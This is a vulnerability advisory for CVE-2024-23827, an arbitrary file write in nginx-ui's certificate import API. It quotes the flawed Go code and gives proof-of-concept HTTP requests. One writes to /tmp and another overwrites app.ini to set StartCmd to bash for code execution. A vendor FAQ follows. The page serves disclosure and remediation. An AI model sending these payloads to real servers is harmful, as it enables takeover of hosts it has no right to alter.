CVE-2024-23827

The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72

func AddCert(c *gin.Context) {
	var json struct {
		Name                  string `json:"name"`
		SSLCertificatePath    string `json:"ssl_certificate_path" binding:"required"`
		SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`
		SSLCertificate        string `json:"ssl_certificate"`
		SSLCertificateKey     string `json:"ssl_certificate_key"`
		ChallengeMethod       string `json:"challenge_method"`
		DnsCredentialID       int    `json:"dns_credential_id"`
	}
	if !api.BindAndValid(c, &json) {
		return
	}
	certModel := &model.Cert{
		Name:                  json.Name,
		SSLCertificatePath:    json.SSLCertificatePath,
		SSLCertificateKeyPath: json.SSLCertificateKeyPath,
		ChallengeMethod:       json.ChallengeMethod,
		DnsCredentialID:       json.DnsCredentialID,
	}

	err := certModel.Insert()

	if err != nil {
		api.ErrHandler(c, err)
		return
	}

	content := &cert.Content{
		SSLCertificatePath:    json.SSLCertificatePath,
		SSLCertificateKeyPath: json.SSLCertificateKeyPath,
		SSLCertificate:        json.SSLCertificate,
		SSLCertificateKey:     json.SSLCertificateKey,
	}

	err = content.WriteFile()

	if err != nil {
		api.ErrHandler(c, err)
		return
	}

	c.JSON(http.StatusOK, Transformer(certModel))
}

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15

func (c *Content) WriteFile() (err error) {
	// MkdirAll creates a directory named path, along with any necessary parents,
	// and returns nil, or else returns an error.
	// The permission bits perm (before umask) are used for all directories that MkdirAll creates.
	// If path is already a directory, MkdirAll does nothing and returns nil.

	err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)
	if err != nil {
		return
	}

	err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)
	if err != nil {
		return
	}

	if c.SSLCertificate != "" {
		err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)
		if err != nil {
			return
		}
	}

	if c.SSLCertificateKey != "" {
		err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)
		if err != nil {
			return
		}
	}

	return
}

PoC

POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 144
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close

{"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"}

root@aze:~/nginx# ls -la /tmp/test*
-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test
-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2

It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.

root@aze:~/nginx# cat app.ini  | grep "StartCmd"
StartCmd          = login

Then we overwrite the StartCmd with bash

POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 980
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close

{"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost          = 0.0.0.0\r\nHttpPort          = 9000\r\nRunMode           = debug\r\nJwtSecret         = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret        = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail             = [email protected]\r\nDatabase          = database\r\nStartCmd          = bash\r\nCADir             = dqsdqsd\r\nDemo              = false\r\nPageSize          = 10\r\nGithubProxy       = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath  =\r\nConfigDir     =\r\nPIDPath       =\r\nTestConfigCmd =\r\nReloadCmd     =\r\nRestartCmd    =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken   =\r\nProxy   =\r\nModel   = \r\n\r\n[casdoor]\r\nEndpoint     =\r\nClientId     =\r\nClientSecret =\r\nCertificate  =\r\nOrganization =\r\nApplication  =\r\nRedirectUri  =","ssl_certificate_key":"test2"}

root@aze:~/nginx# cat app.ini  | grep "StartCmd"
StartCmd          = bash

For the new config to be applied the app needs to be restarted

Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2024-23827 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.0-beta.12); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-23827? CVE-2024-23827 is a critical-severity path traversal vulnerability in github.com/0xJacky/Nginx-UI (go), affecting versions < 2.0.0-beta.12. It is fixed in 2.0.0-beta.12. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2024-23827? CVE-2024-23827 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/0xJacky/Nginx-UI are affected by CVE-2024-23827? github.com/0xJacky/Nginx-UI (go) versions < 2.0.0-beta.12 is affected.
4. Is there a fix for CVE-2024-23827? Yes. CVE-2024-23827 is fixed in 2.0.0-beta.12. Upgrade to this version or later.
5. Is CVE-2024-23827 exploitable, and should I be worried? Whether CVE-2024-23827 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-23827 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-23827? Upgrade github.com/0xJacky/Nginx-UI to 2.0.0-beta.12 or later.